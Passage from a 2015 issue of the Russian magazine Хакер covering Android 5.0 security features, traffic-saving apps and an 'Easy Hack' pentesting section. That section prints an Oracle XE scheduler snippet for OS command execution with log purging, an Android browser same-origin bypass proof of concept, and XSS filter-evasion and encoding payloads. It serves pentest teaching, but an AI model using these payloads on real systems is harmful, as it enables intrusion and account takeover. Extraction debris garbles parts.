Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
19.04.2024
Размер:
25.3 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

to

40 m

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

X-Mobile

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

ХАКЕР 01 /192/ 2015

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Настройки Smart Lock В Android 5.0 WebView — это независимый пакет Настройки Android Device Manager

пользована, будь она найдена в 5.0 — здесь, соглас-

 

использовать для запрета звонков, СМС и других воз-

но правилам SELinux, vold не имеет права запускать

 

можностей девайса.

другие бинарники. То же самое справедливо и в от-

 

В Lollipop многопользовательский режим рас-

ношении уязвимости CVE-2014-3100 в Android 4.3, по-

 

пространился также и на смартфоны, причем с не-

зволяющей вызвать переполнение буфера в демоне

 

сколькими весьма интересными доработками. Пер-

keystore, и 70% других уязвимостей.

 

вая из них — это так называемый гостевой режим,

SELinux значительно снижает риск того, что устрой-

 

специальный пользовательский профиль, который

ством завладеют через эксплуатацию уязвимостей

 

самоуничтожается после возвращения к основному

в низкоуровневых компонентах системы (многочис-

 

или любому другому профилю. По сути, это быстрый

ленных написанных на С и С++ демонах, исполняемых

 

и простой способ получить доступ к чистой ОС, напри-

от имени root), но в то же время затрудняет получение

 

мер для того, чтобы «дать позвонить» или провести

root, так сказать, «для себя». Более того, отныне права

 

эксперимент.

root сами по себе не гарантируют полного контроля

 

Второе новшество — это screen pinning, функция,

над системой, так как для SELinux нет разницы между

 

не относящаяся напрямую к многопользовательско-

обычным юзером и суперпользователем.

 

му режиму, но преследующая ту же цель. Она по-

К счастью, это ограничение довольно легко обой-

 

зволяет заблокировать экран на одном приложении

ти, если заставить приложения с поддержкой root вы-

 

без возможности получить доступ к домашнему

полнять привилегированные действия в неограничен-

 

экрану, «шторке» и другой функциональности ОС.

ном SELinux-контексте init. Такая функциональность

 

Функция активируется в разделе «Безопасность»

реализована в SuperSU с версии 2.23 (посредством

 

в настройках, далее необходимо запустить нужное

прокси, который запускается на раннем этапе за-

 

приложение, нажать кнопку переключения между

грузки, работает в контексте init и исполняет команды,

 

приложениями и тапнуть по значку в нижней правой

принятые от бинарника su). Однако для его установ-

 

части превью.

ки нужен кастомный recovery, который, в свою оче-

 

Для выхода из режима screen pinning достаточ-

редь, может быть установлен либо после «получения

 

но одну-две секунды удерживать ту же кнопку пере-

полноценного root» на устройстве (проблема курицы

 

ключения между приложениями. Однако устройство

и яйца), либо после разблокировки загрузчика.

 

можно защитить, если установить PIN-код или гра-

Также стоит иметь в виду, что SELinux не обяза-

 

фический ключ на экран блокировки и отметить со-

тельно будет включен в твоем устройстве, тем более

 

ответствующую галочку при закреплении приложения

если речь идет о девайсе, который изначально по-

INFO

на экране. В этом случае юзер не сможет получить до-

ставлялся с более ранней версией Android.

ступ к ОС без ввода PIN’а или ключа.

ГОСТЕВОЙРЕЖИМ

В отличие от Linux,

Справедливости ради стоит отметить, что подоб-

ная функциональность, включая гостевые аккаунты

Многопользовательский режим в Android появился

в хидере зашифрован-

и блокировку на приложении, уже существовала во

еще в версии 4.2, но на протяжении развития четвер-

ного раздела Android

многих доступных в маркете приложениях, одна-

той ветки ОС оставался доступен только для планше-

нет MD5-суммы ключа

ко 99% из них использовали концепцию «рабочий

тов (с возможностью включения на смартфоне с по-

шифрования. Google

стол внутри приложения», то есть, по сути, вообще

мощью хаков, например приложения 4.2 Multiple User

убрала его намеренно,

не изолировали пользовательские аккаунты от ос-

Enabler). В 4.3 в его реализации появилась функция

чтобы усложнить подбор

новной системы. Более продвинутая технология вхо-

ограничения юзеров в полномочиях, что можно было

пароля от ключа.

дит в состав системы безопасности Samsung Knox.

логина в ChromeOS
INFO
В целях защиты от посторонних глаз Android позволяет отключить показ конфиденциальных уведомлений на экране
блокировки.
Фото Дэна Кэмпбелла (Dan Campbell) с демонстрацией работы автоматического

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

ХАКЕР m

01 /192/ 2015

За семью замками

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

Она позволяет запустить чистую ОС рядом с основной и полностью отрезать системы друг от друга, но доступна только в смартфонах и планшетах соответствующей марки.

SMARTLOCK

Пользователи не любят PIN-коды и графические ключи, и Google отлично это понимает. Поэтому еще одним новшеством 5.0 стала функция Smart Lock, позволяющая сохранить безопасность смартфона и данных, не утомляя себя вводом цифр или рисованием на экране сложных иероглифов. Это еще один шаг Google в сторону «защищенного по умолчанию смартфона», о котором мы говорили в разделе про шифрование.

Однако в этот раз все намного про-

ще. Smart Lock — это не что иное, как возможность автоматического отключения защиты экрана блокировки после подключения к од-

ному из Bluetooth-

устройств (умные часы, автомагнитола, TV Box), касания смартфоном NFC-метки или на основе местоположения. Фактически это официальная реализация функций, которые уже несколько лет доступны в сторонних приложениях, прошивках от производителей (мотороловский Trusted Bluetooth, например), Tasker, приложениях для Pebble и других умных часов (приложение

SWApp Link).

Теперь функциональность этих приложений доступна в самой прошивке, а все, что остается сделать юзеру, — это установить на экран блокировки PIN-код или ключ, активировать Smart Lock в настройках безопасности (раздел Trusted Agents) и добавить доверенные Bluetooth-устройства, NFC-теги или места.

Функция разблокировки по снимку лица теперь тоже часть Smart Lock. Причем отныне она не только включается на экране блокировки, но и постоянно следит за юзером и блокирует устройство, если лицо изменилось. Другими словами, стоит вору, выхватившему смартфон из рук владельца, взглянуть на экран, как смартфон сразу заблокируется.

ОБНОВЛЯЕМЫЙWEBVIEW

С первых версий Android включал в себя компонент WebView на базе WebKit, позволяющий сторонним приложениям использовать HTML/JS-движок для отображения контента. На нем же базировалось большинство сторонних браузеров. В KitKat WebView был серьезно модернизирован и заменен на дви-

жок из проекта Chromium (версии 33 в Android 4.4.3),

что позволило разработчикам получить доступ к последним наработкам Google в области отображения веб-контента.

Начиная с Lollipop, WebView не просто базируется на Chromium, но и умеет обновляться через Google Play (в автоматическом режиме, незаметно для юзера). Это значит, что независимо от используемой версии Android разработчики приложений теперь всегда будут иметь дело с последней версией HTML/ JS-движка, включающей все последние нововведения. Но что более важно, Google теперь сможет закрывать уязвимости в движке так же быстро, как уязвимо-

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click41

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

сти в Google Chrome для Android. Все, что потребуется от юзера, — это подключенный к интернету смартфон с Android 5.0 или выше.

KILLSWITCH

В августе 2013 года Google запустила веб-сервис

Android Device Manager, с помощью которого мы по-

лучили возможность сброса до заводских настроек или удаленной блокировки смартфона. В качестве клиентской части на смартфоне сервис использовал обновляемый через Google Play компонент Google Services, поэтому функция стала доступна для любых устройств, начиная с Android 2.3.

Начиная с Android 5.0, сервис также включает в себя функцию Factory Reset Protection. После ее активации возможность сброса до заводских настроек будет заблокирована паролем, что, по мнению Google, будет препятствовать полноценному использованию смартфона или его продаже.

Ведь однажды привязанный к аккаунту Google смартфон уже не может быть отвязан без сброса настроек.

Все

логично,

но функция

больше

напоминает

игрушку,

чем серьезный метод борьбы с кражами. В конце концов, разблокировка загрузчика и права root решат все вопросы возвращения смартфона к заводскому состоянию.

ДРУГИЕУЛУЧШЕНИЯ

Интеграция с ChromeOS. Братская ОС уже научилась получать уведомления от Android и запускать Android-приложения, а теперь она умеет автоматически впускать юзера, если рядом находится его телефон (этакий Smart Lock наоборот).

Улучшения в поддержке HTTPS и TLS/SSL.

В Android 5.0 теперь включена поддержка TLSv1.1 и TLSv1.2. При согласовании ключей по возможности используется опция Forward Secrecy. Добавлена поддержка алгоритма AES-GCM, а ущербные в плане безопасности алгоритмы шифрования/ хеширования (MD5, 3DES) отключены.

PIE везде. Android теперь явно требует, чтобы все нативные бинарники были скомпилированы с под-

держкой PIE (Position-Independent Executables).

Расширенная поддержка FORTIFY_SOURCE. Такие функции, как stpcpy(), stpncpy(), read(), recvfrom(), FD_CLR(), FD_SET() и FD_ISSET(), теперь также за-

щищены с помощью механизма FORTIFY_SOURCE компилятора GCC (защита от срыва стека). Начальная поддержка FORTIFY_SOURCE появилась еще в Android 4.2.

ВМЕСТОВЫВОДОВ

Google не только сделала Android 5.0 таким, каким его хотят видеть пользователи и производители смартфонов, но и приложила все усилия для того, чтобы решить две основные проблемы безопасности: уберечь смартфон от посторонних глаз и защитить от уязвимости к атакам, направленным на получение прав root. Эффективны ли эти улучшения, покажет время, но уже сейчас можно точно сказать, что Lollipop — это самая защищенная версия Android из всех.

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

to

42 m

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

X-Mobile

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

ХАКЕР 01 /192/ 2015

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Сегодня в выпуске: пропускаем трафик через VPN-сервер, чтобы сэкономить мегабайты, отрезаем от интернета неугодные приложения, используем резалку рекламы в необычном свете и выясняем, почему Opera Mini до сих пор остается мобильным браузером номер один.

ВЫПУСК #3. ЭКОНОМИМ ТРАФИК

ONAVOEXTEND

Начиная с версии 4.0, Android включает в себя полноценную поддержку VPN. Кроме обхода Роскомнадзора и создания частных сетей, ее вполне можно использовать для экономии трафика. Onavo Extend представляет собой VPNпрокси, который сжимает все запрошенные смартфоном данные на удаленном сервере, а затем распаковывает их на устройстве.

Приложение также выступает в качестве кеширующего HTTPпрокси, который сохраняет посещаемые страницы на карте памяти, так что при повторном открытии веб-страниц трафик не будет расходоваться вовсе. В современном мире повсеместного распространения AJAX и динамики эта функция, конечно, не принесет особой экономии, но это всяко лучше, чем ничего.

Кстати, в маркете есть аналогичный продукт от всем известной

Opera. Это приложение Opera Max,

также доступное для iOS и Android.

Onavo Extend: goo.gl/YYA1j

Платформа: Android/iOS

Цена: бесплатно

AFWALL+

Один из самых эффективных способов сэкономить на трафике — это полностью отрезать доступ к Сети тем приложениям, которые не особо в нем нуждаются, но продолжают использовать. Это может быть софт со встроенной рекламой, софт с функцией обновления или приложения, которые собирают или отправляют разного рода статистику.

В Android нет встроенного брандмауэра, но есть несколько оберток для iptables, которые можно использовать для таких целей. AFWall+ — одна из таких оберток. Все просто: ты выбираешь софт, который сможет (или не сможет) получить доступ в Сеть по Wi-Fi и 3G, и сохраняешь правила. В качестве опции есть возможность загрузки сложных правил в формате iptables.

Недостатки приложения: необходимо получить root и совместимо приложение не со всеми устройствами.

AFWall+: goo.gl/eH7yb

Платформа: Android

Цена: бесплатно / open source

OPERAMINI

Сегодня браузером со встроенной функцией сжатия трафика уже вряд ли кого-то удивишь. Поэтому для многих юзеров существование и развитие древнего, как сами смартфоны, Opera Mini кажется весьма странным явлением. Сжатие уже давно есть в полноценном Opera Mobile, и развивать ущербный в плане функциональности браузер не имеет смысла.

Причина живучести Opera Mini очень проста и заключается в том, что этот браузер использует совсем другой и гораздо более эффективный метод сжатия вебстраниц.

Opera Mini не поддерживает ни HTML, ни JS, ни CSS. Он ото-

бражает страницы в компактном бинарном формате OBML (Opera Binary Markup Language), который получает от одного из серверов Opera после прогонки через конвертер HTML — OBML и выполнения JavaScript на стороне сервера. OBML позволяет сократить потребление трафика до 90%, что гораздо больше стандартных методов компрессии, но превращает все веб-страницы в статические.

Opera Mini: goo.gl/9PoS31

Платформа: Android / iOS / Windows Phone

Цена: бесплатно

ADAWAY

Еще один неочевидный способ сэкономить на трафике — это воспользоваться одной из резалок рекламы. В Android действительно слишком много приложений с навязчивой рекламой, у многих из которых нет платной версии. При регулярном использовании приложения реклама изрядно кушает трафик, поэтому нередко от нее лучше избавиться. Сделать это можно либо с помощью всем известного Adblock, но я бы порекомендовал использовать более простой и менее бажный AdAway.

Преимущество AdAway в том, что он не создает никаких дополнительных абстракций и VPNтуннелей, а просто добавляет «неугодные» адреса в /system/etc/ hosts. Реклама отрезается еще на этапе DNS-резолвинга и вообще не загружается из Сети.

AdAway: goo.gl/2Qacc

Платформа: Android

Цена: бесплатно

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

:

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

!

Если тебе есть что сказать, ты можешь войти в команду любимого журнала.

Hint: контакты редакторов всех рубрик есть на первой полосе.

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

to

44 m

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

Взлом

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

ХАКЕР 01 /192/ 2015

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

EASYАлексей «GreenDog» Тюрин, Digital Security agrrrdog@gmail.com,

twitter.com/antyurin

HACK

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Лица, использующие данную

информацию в противозаконных целях, могут быть привлечены к ответственности.

Пример с Shazzer’а. Перечень символов, которые можно использовать между ивентом и символом равно (=)

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

ХАКЕР m

01 /192/ 2015

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Easy Hack

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w45Click

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ORACLE DB XE

РЕШЕНИЕ

Вот представь себе, что у нас есть доступ к СУБД по сети (через TNS) либо через SQL-инъекцию с админ-учеткой. И конечно, у нас может возникнуть желание развить нашу атаку, попасть в ОС, закрепиться там и полезть дальше. Самый стандартный способ выполнения команд через Java. Но вот незадача — не всегда работает. Причина в том, что существует урезанная версия Oracle, так называемый Express Edition (XE), которая поставляется без Javа Virtual Machine и еще кое-чего. Что же делать?

Использовать другой способ выполнения команд! Например, через шедулер.

begin

DBMS_SCHEDULER.create_program('any_name','EXECUTABLE',

'echo "any commands with parameters"',0,TRUE);

DBMS_SCHEDULER.create_job(job_name=>'any_job_name',

program_name=>'any_name',

start_date=>NULL,repeat_interval=?

>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);

dbms_lock.sleep(1);

dbms_scheduler.drop_program(program_name=>'any_name');

dbms_scheduler.purge_log;

end;

Я думаю, что смысл здесь ясен из названий команд. Практически последние три не особо нужны. Только чтобы кильнуть команду и почистить лог.

Результат работы запущенной команды не возвращается, но, насколько помню, перенаправление вывода и другие штуки отлично работают.

ОТК А

АТ ТО КО Т

Б А

Ы

Л Т О ?

О-

Ы ,

Т ОТО Ы

 

CHEATSHEET’Ы.

О- ТО Ы , О

О О А

Т

А О

:)

 

 

 

 

 

 

 

 

РЕШЕНИЕ

Несмотря на то что браузеры — это вещь давно привычная и сайты в них выглядят практически одинаково, внутри они отличаются очень значительно. И опять-та- ки, несмотря на то что веб вроде как во многом стандартизирован, если присмотреться, то обнаружится большой ряд неточностей и недоговорок, которые различные вендоры решают по-своему. В итоге все приходит к тому, что каждый из браузеров имеет свою особую специфику. Вот, например, Internet Explorer здесь сильно выделяется, о чем мы не раз говорили в Easy Hack’е и чем мы не раз пользовались для эксплуатации специфичных (браузерозависимых) уязвимостей. Но и в других браузерах специфических и зачастую уязвимых реализаций того или иного функционала предостаточно, так что любому пентестеру желательно знать специфику и остальных браузеров. Приведу несколько примеров.

Недавно вскрылась большая уязвимость в мобильном браузере (это не хром и не ФФ, а отдельный такой браузер) на платформе Android. И не простая уязвимость, а обход Same Origin Policy. Напомню, что SOP — это когда у тебя в браузере JavaScript с одного сайта не может просто получить данные другого сайта. То есть браузер каждый отдельный сайт (точнее, протокол + сайт + порт) воспринимает как отдельную сущность и очень ограничивает возможность доступа к другим таким же сущностям. Когда же есть обход SOP, мы, заманив юзера к нам на сайт (http://evil.ru, например), с нашего сайта можем получить полный доступ к любому другому сайту от имени юзера. Так вот, атака для обхода SOP для андроидобраузера вполне проста:

<iframe name="test" src="http://gmail.com"></iframe>

<input type=button value="test" onclick="window.open

('\u0000javascript:alert(document.domain)','test')" >

Вот такой код мы размещаем на своем http://evil.ru, а в итоге код

(alert(document.domain)) выполнится на Gmail’е. По коду мы здесь созда-

ем iframe с почтосайтом, а дальше в нем же «запускаем» свой яваскрипт (input нужен лишь для тестирования, в реале все происходит автоматом). Все в атаке вполне логично, но браузеры должны такое пресекать (как раз по SOP), а самое главное, что и дефолтный дроидовый браузер это пресек бы. Если бы не «\u0000» — это «null»-байт, заэнкоженный в юникоде. Именно из-за него у браузера не срабатывает проверка и мы имеем крутейшую уязвимость. Причем с учетом того, что уязвимость до версии Android’а 4.4

есть, да и с тем, что обычные люди не патчат свои девайсы, это просто золотая жила.

Пример номер два. Систематически бывает, что вроде можно подпихнуть что-то похожее на XSS’ку, но практически мы сталкиваемся с различными ограничениями. Например, нельзя пробелы подсовывать, потому что они вырезаются, или двойные и одинарные кавычки фильтруются, а они нам нужны. Так вот и здесь для успешной эксплуатации нам надо знать, что пробелы между элементами мы можем заменить на слеш / (например, <svg/onload=alert(1)>), а в IE мы можем использовать вместо кавычек апостроф `. Как видишь, тонкостей много.

Но откуда ж это все узнать? Во-первых, это cheatsheet’ы, то есть готовые методики для типовых проблем (например, от OWASP: goo.gl/Ne8nGI).

Во-вторых, можно пофазить и самому. Не так давно появился очень интересный ресурс Shazzer (goo.gl/z0SrxG). Это онлайн-тулза для фаззинга браузеров. Можно очень по-быстрому накатать необходимый тебе векторок и профазить его. Но более важно то, что векторы и итоги их шарятся между пользователями системы. Это нам дает, во-первых, то, что многие из интересующих нас векторов уже профажены и мы оперативно можем посмотреть итоги, а во-вторых, то, что люди приходят с разными браузерами и, как итог, мы иногда имеем возможность выявить какие-то специфические браузерные штуки.

Конечно, если ты уже давно и глубоко в вебе (особенно браузерном), то, вероятно, имеешь некую свою платформу с блек-джеком и барышнями, но для разовых задач ресурс идейно очень удобен.

Подробнее можно прочитать здесь: goo.gl/urMpHC.

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

to

46 m

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

Взлом

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

ХАКЕР 01 /192/ 2015

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

JS-

 

 

то с фронтендом — с JavaScript’ом — нам все доступно: и версию библиоте-

 

 

 

ки можно узнать, и, соответственно, баги, которые в ней есть. Конечно, бага

 

 

 

 

в либе еще не означает багу в самом приложении, ведь часто нужно и чтобы

 

РЕШЕНИЕ

 

 

приложение использовало уязвимый функционал, и чтобы мы могли «воздей-

 

 

 

ствовать» на него. Фактически большая часть уязвимостей повязана с возмож-

 

Веб-приложения все больше становятся похожими на обычные приложе-

ностью подпихнуть XSS’ку. Вот пример такой уязвимой либы: goo.gl/vyEVAr.

 

ния. Разделение логики и ресурсов, использование сторонних библиотек.

И поможет нам с этой задачей тулза Retire.js (goo.gl/qz6FZn). У нее есть

 

И эксплуатация становится похожа — кроме того, что найти саму багу, надо

база распространенных либ и уязвимостей в них. Определение версии про-

 

еще обойти ту или иную защиту.

 

 

исходит по данным из самих либ и их отпечатку. Имеются различные виды

 

По сути-то, ничего удивительного, что и в самих библиотеках находят-

ее реализации: отдельная тулза, модуль к хрому или ФФ, а теперь вот до-

 

ся какие-то уязвимости. И если к серверному ПО у нас часто нет доступа,

бавились модули для Burp’а и ZAP’а. Не rocket science, но помогает.

 

 

 

 

 

 

 

 

 

 

 

 

XSS

 

 

далее. Но кроме текстовых обозначений, для всех символов есть еще и цифро-

 

 

 

вые. Причем и в десятеричной, и в шестнадцатеричной системе. То есть тот же

 

 

 

 

> можно записать в десятеричном виде как <, а букву X как X. Если

 

РЕШЕНИЕ

 

 

же хочешь в шестнадцатеричном, то добавляем x перед номером. Для тех же

 

РазличныевидыкодированияинфывJS

символов будет соответственно < и X. С юникодом все аналогично.

 

Задачка в продолжение предыдущей.

 

 

Важный момент, что декодятся только данные и значения параметров.

 

Про очень важный момент работы

 

 

То есть нельзя заменить открытие тега (< как <), символы в названии

 

 

 

 

браузеров, знание которого позволя-

 

 

тега (script на script) или параметре тега (onload на onload).

 

ет обходить различные ограничения

 

 

Но так как JavaScript «находится» в данных тегов HTML, то мы можем к нему

 

и проводить атаки (например, XSS).

 

 

применять HTML-кодирование. Пример:

 

Особенно при выполнении различ-

 

 

<img src=x onerror=alert(2);>

 

ных заданий на соревнованиях.

 

 

 

Так вот, в браузере можно вы-

 

 

 

 

 

делить два основных парсера (если

 

 

Здесь на ивенте onerror выполняется alert(2). a — в юникоде.

 

честно, на самом деле там все куда

 

 

С другой стороны, внутри блока <script> указанная конструкция запуска

 

сложнее, но сейчас давай остано-

 

 

алерта уже не сработает (эти блоки пропускаются HTML-парсером).

 

вимся на этих двух): первый — это

 

 

Также хотелось бы рассказать и об аналогичной возможности за-

 

HTML, а второй — для JavaScript’а.

 

 

энкодить данные в JavaScript. Здесь их побольше. Во-первых, обычные

 

И самое интересное здесь, что бра-

 

 

«escape»-последовательности, типа \t, \r, \n. Во-вторых, восьмеричная за-

 

узер при парсинге документа, по-

 

 

пись. Например, для а будет \141. Далее: шестнадцатеричная запись с x

 

лученного от сервера, сначала

 

 

в начале (для а будет \x61), в юникоде с u в начале, запись в 4 байта длиной

 

проходит HTML-парсером, а уже по-

 

 

(для а будет \u0061).

 

том — JS.

 

 

Ограничение почти такое же, энкодить можно только значения строк.

 

Почему же это важно? Это связано

 

 

Но есть одно очень важное исключение — юникод. Им можно заэнкодить

 

с тем, что парсеры отличаются между

 

 

все, кроме вроде спецсимволов (например, кавычки, скобки, равно). Поэто-

 

собой и на их «стыке» иногда можно

 

 

му данный код будет отлично работать:

 

«сыграть». Например, HTML-парсер

JS,заэнкоженныйвHTML’е

<script>\u0061lert("\141\t\x62");</script>

 

позволяет заэнкодить данные. Тебе,

 

 

 

наверное, знакомы сущности >,

 

 

 

 

 

<, которыми заменяют символы <, > в тексте страницы (то есть чтобы пар-

Как видишь, тонкостей, которыми мы можем воспользоваться, целая

 

